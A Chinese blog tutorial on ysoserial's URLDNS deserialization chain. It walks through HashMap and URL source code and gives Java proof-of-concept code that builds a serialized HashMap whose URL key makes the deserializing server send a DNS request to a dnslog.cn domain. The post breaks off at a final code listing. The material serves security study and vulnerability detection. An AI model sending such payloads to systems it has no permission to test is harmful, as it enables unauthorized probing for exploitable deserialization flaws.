URLDNS链
- 概述 - URLDNS 就是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利用链”。因为其参数不不是一个可以“利用”的命令,而仅为一个URL,其能触发的结果也不是命令执行,而是一次DNS请求。 - 虽然这个“利用链”实际上是不能“利用”的,但因为其如下的优点,非常适合我们在检测反序列化漏洞时使用: - 使用Java内置的类构造,对第三方库没有依赖
- 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
 
- 利用链 - 1 
 2
 3
 4
 5- * Gadget Chain: 
 * HashMap.readObject()
 * HashMap.putVal()
 * HashMap.hash()
 * URL.hashCode()
- HashMap底层原理 - HashMap是Map的一个实现类,以数组+(链表或红黑树)实现。它是以键值对存储数据的,Key-Value都是Map.Entry中的属性   
- 在实例化以后,底层创建了长度是16的一维数组 - Entry[] table,其中每个节点用Node表示- 1 
 2
 3
 4
 5
 6- Node(int hash, K key, V value, Node<K,V> next) { 
 this.hash = hash;
 this.key = key;
 this.value = value;
 this.next = next;
 }
- 当put一个键值对时,首先对key进行hash,其中hash中又调用hashcode方法,之后添加tab数组中添加node,源码如下 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51- public V put(K key, V value) { 
 return putVal(hash(key), key, value, false, true);
 }
 
 static final int hash(Object key) {
 int h;
 return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
 }
 
 final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
 boolean evict) {
 Node<K,V>[] tab; Node<K,V> p; int n, i;
 if ((tab = table) == null || (n = tab.length) == 0)
 n = (tab = resize()).length;
 if ((p = tab[i = (n - 1) & hash]) == null)
 tab[i] = newNode(hash, key, value, null);
 else {
 Node<K,V> e; K k;
 if (p.hash == hash &&
 ((k = p.key) == key || (key != null && key.equals(k))))
 e = p;
 else if (p instanceof TreeNode)
 e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
 else {
 for (int binCount = 0; ; ++binCount) {
 if ((e = p.next) == null) {
 p.next = newNode(hash, key, value, null);
 if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
 treeifyBin(tab, hash);
 break;
 }
 if (e.hash == hash &&
 ((k = e.key) == key || (key != null && key.equals(k))))
 break;
 p = e;
 }
 }
 if (e != null) { // existing mapping for key
 V oldValue = e.value;
 if (!onlyIfAbsent || oldValue == null)
 e.value = value;
 afterNodeAccess(e);
 return oldValue;
 }
 }
 ++modCount;
 if (++size > threshold)
 resize();
 afterNodeInsertion(evict);
 return null;
 }
 
- 原理利用 - java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求,关键代码如下 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39- private void readObject(java.io.ObjectInputStream s) 
 throws IOException, ClassNotFoundException {
 table = tab;
 // Read the keys and values, and put the mappings in the HashMap
 for (int i = 0; i < mappings; i++) {
 
 K key = (K) s.readObject();
 
 V value = (V) s.readObject();
 putVal(hash(key), key, value, false, false);
 }
 }
 }
 static final int hash(Object key) {
 int h;
 return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
 }
 public synchronized int hashCode() {
 if (hashCode != -1)
 return hashCode;
 hashCode = handler.hashCode(this);
 return hashCode;
 }
 protected int hashCode(URL u) {
 int h = 0;
 // Generate the protocol part.
 String protocol = u.getProtocol();
 if (protocol != null)
 h += protocol.hashCode();
 // Generate the host part.
 InetAddress addr = getHostAddress(u); //解析域名,发出DNS请求
 return h;
- 因此利用链就很显而易见了 
 
- 代码 - 1 
 2
 3- HashMap<URL,Object> hashMap = new HashMap<>(); 
 URL url = new URL("https://pxqb7n.dnslog.cn");
 hashMap.put(url,123);  - 可以看到收到DNS请求,下面将hashMap序列化。 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14- //由于new URL()中的hashCode=-1,因此反序列化时,不能进入DNS解析,因此需反射设置hashCode!=-1 
 HashMap<URL,Object> hashMap = new HashMap<>();
 URL url = new URL("https://6g01re.dnslog.cn");
 Class urlClass = URL.class;
 Field fieldHashCode = urlClass.getDeclaredField("hashCode");
 fieldHashCode.setAccessible(true);
 fieldHashCode.set(url,123456);
 hashMap.put(url,123);
 fieldHashCode.set(url,-1);
 serialize(hashMap);
 //unSerialize("ser.bin");  - 可以看到put时为收到DNS请求 - 反序列化时收到请求  
 
- 总代码如下 
| 1 | package urldns; |